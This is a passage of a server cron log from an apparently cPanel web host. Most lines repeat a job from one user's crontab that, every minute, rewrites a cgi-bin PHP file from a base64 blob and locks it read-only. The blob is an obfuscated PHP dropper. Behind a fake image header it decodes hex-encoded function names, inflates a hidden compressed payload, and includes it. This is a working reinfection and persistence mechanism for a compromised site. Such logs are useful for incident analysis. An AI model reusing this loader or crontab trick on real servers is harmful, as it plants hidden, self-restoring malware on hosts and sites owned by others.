LLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:48:02 server CROND[32549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:48:02 server CROND[32550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:48:02 server CROND[32551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:48:16 server crontab[32731]: (root) LIST (root)
Sep 10 02:48:16 server crontab[32733]: (root) LIST (root)
Sep 10 02:48:21 server crontab[406]: (root) LIST (root)
Sep 10 02:49:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep 10 02:49:01 server crond[1999]: (bespokeapps) ORPHAN (no passwd entry)
Sep 10 02:49:01 server crond[1999]: (massivedesign) WRONG FILE OWNER (/var/spool/cron/massivedesign)
Sep 10 02:49:01 server CROND[1306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:49:01 server CROND[1307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:49:01 server CROND[1308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:50:01 server CROND[1899]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 02:50:01 server CROND[1900]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 02:50:01 server CROND[1904]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:50:01 server CROND[1903]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:50:01 server CROND[1905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:50:01 server CROND[1909]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:50:01 server CROND[1908]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 02:50:01 server CROND[1907]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 02:50:01 server CROND[1910]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:51:01 server CROND[2824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:51:01 server CROND[2825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:51:01 server CROND[2826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:52:01 server CROND[3367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:52:01 server CROND[3369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:52:01 server CROND[3368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:53:01 server CROND[3748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:53:01 server CROND[3749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:53:01 server CROND[3750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:54:01 server CROND[4239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:54:01 server CROND[4240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:54:01 server CROND[4241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:55:01 server CROND[4648]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:55:01 server CROND[4649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 02:55:01 server CROND[4647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:55:01 server CROND[4652]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:55:01 server CROND[4653]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 02:55:01 server CROND[4650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:55:01 server CROND[4651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:56:01 server CROND[5480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:56:01 server CROND[5481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:56:01 server CROND[5482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:57:01 server CROND[5859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:57:01 server CROND[5861]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 02:57:01 server CROND[5862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:57:01 server CROND[5860]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:58:01 server CROND[6258]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 02:58:01 server CROND[6259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:58:01 server CROND[6260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:59:01 server CROND[6748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZa